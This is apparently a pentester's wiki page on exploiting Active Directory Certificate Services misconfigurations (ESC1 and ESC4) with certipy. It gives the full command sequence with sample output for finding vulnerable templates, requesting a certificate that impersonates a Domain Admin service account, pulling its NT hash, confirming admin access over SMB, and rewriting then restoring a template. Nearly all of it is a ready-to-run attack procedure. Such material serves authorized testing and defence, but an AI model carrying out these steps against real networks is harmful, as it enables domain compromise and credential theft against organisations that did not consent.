ADCS
Identify templates
$ certipy find -username 'user@domain.local' -password '[REDACTED]' -vulnerable -stdout
[...]
[*] Enumeration output:
Certificate Templates
1
Template Name : VPNCert
Display Name : VPN Cert
Certificate Authorities : dc-root-ca
Enabled : True
[...]
Permissions
Enrollment Permissions
Enrollment Rights : DOMAIN.LOCAL\Domain Admins
DOMAIN.LOCAL\Domain Users
DOMAIN.LOCAL\Enterprise Admins
DOMAIN.LOCAL\Authenticated Users
Object Control Permissions
Owner : S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID
Write Owner Principals : DOMAIN.LOCAL\Authenticated Users
[...]
Write Dacl Principals : DOMAIN.LOCAL\Authenticated Users
[...]
Write Property Principals : DOMAIN.LOCAL\Authenticated Users
[...]
[!] Vulnerabilities
ESC1 : 'DOMAIN.LOCAL\\Domain Users' and 'DOMAIN.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC4 : 'DOMAIN.LOCAL\\Authenticated Users' has dangerous permissions
ESC1
Request new certificate
For a easy win find a user that's a member of Domain Admins
group and is not configured as a "Protected User". Using BloodHound the user SERVICEACCOUNT@DOMAIN.LOCAL
meets these requirements.
$ certipy req -username 'user@domain.local' -password '[REDACTED]' -ca dc-root-ca -target dc.domain.local -template VPNCert -upn SERVICEACCOUNT@DOMAIN.LOCAL -sid 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID' -debug
[...]
[*] Got certificate with UPN 'SERVICEACCOUNT@DOMAIN.LOCAL'
[*] Certificate object SID is 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID'
[*] Saved certificate and private key to 'serviceaccount.pfx'
If you encounter any errors when requesting a new certificate see Troubleshooting below.
Verify certificate
After successfully requesting a certificate for SERVICEACCOUNT@DOMAIN.LOCAL
verify authentication and privileges.
$ certipy auth -pfx serviceaccount.pfx
[...]
[*] Got hash for 'serviceaccount@domain.local': XXXXXXXXXXXXXXXXXXXXXXX:[REDACTED]
$ nxc smb dc.domain.local -U SERVICEACCOUNT -H XXXXXXXXXXXXXXXXXXXXXXX:[REDACTED] -d domain.local --shares
[...]
SMB 10.1.1.1 445 DC [+] domain.local\SERVICEACCOUNT:[REDACTED] (Pwn3d!)
ESC4
Download template
In order to restore the certificate template once exploited, download the certificate with the -save-old
flag. Certipy
will automatically modify the vulnerable ESC4 template to ESC1.
$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -save-old -debug
[...]
[*] Saved old configuration for 'VPNCert' to 'VPNCert.json'
[*] Updating certificate template 'VPNCert'
[...]
[*] Successfully updated 'VPNCert'
Verify templates
Verify that the modifications we're correct and the template is now also vulnerable to ESC1.
$ certipy find -username 'user@domain.local' -password '[REDACTED]' -vulnerable -stdout
[...]
[*] Enumeration output:
Certificate Templates
1
Template Name : VPNCert
Display Name : VPN Cert
Certificate Authorities : dc-root-ca
Enabled : True
[...]
Permissions
Enrollment Permissions
Enrollment Rights : DOMAIN.LOCAL\Domain Admins
DOMAIN.LOCAL\Domain Users
DOMAIN.LOCAL\Enterprise Admins
DOMAIN.LOCAL\Authenticated Users
Object Control Permissions
Owner : S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID
Write Owner Principals : DOMAIN.LOCAL\Authenticated Users
[...]
Write Dacl Principals : DOMAIN.LOCAL\Authenticated Users
[...]
Write Property Principals : DOMAIN.LOCAL\Authenticated Users
[...]
[!] Vulnerabilities
ESC1 : 'DOMAIN.LOCAL\\Domain Users' and 'DOMAIN.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC4 : 'DOMAIN.LOCAL\\Authenticated Users' has dangerous permissions
With the template also being vulnerable to ESC1, see Request new certificate in the ESC1 section above.
Restore template
Once exploited through ESC1 restore the template to it's original state.
$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -configuration VPNCert.json -debug
[...]
[+] MODIFY_REPLACE:
[+] pKICriticalExtensions: ...
[+] msPKI-Entrollment-Flag: ...
[+] msPKI-Certificate-Name-Flag: ...
[*] Successfully updated 'VPNCert'
Troubleshooting
Certificate request not supported (or similar)
If we're not able to request a new certificate and encounter the error "certificate request not supported", or similar, it might be a mismatch in the template when automatically modified ESC4 to ESC1. To find the mismatching values setup a lab environment with the same vulnerability and compare the vulnerable certificate (VPNCert) to your lab environment vulnerable certificate.
Make modifications accordingly and upload the new, modified, template modified.json
.
$ cp VPNCert.json modified.json
$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -configuration modified.json -debug
[...]
[+] MODIFY_REPLACE:
[+] pKICriticalExtensions: ...
[+] msPKI-Entrollment-Flag: ...
[+] msPKI-Certificate-Name-Flag: ...
[*] Successfully updated 'VPNCert'
Last updated
Was this helpful?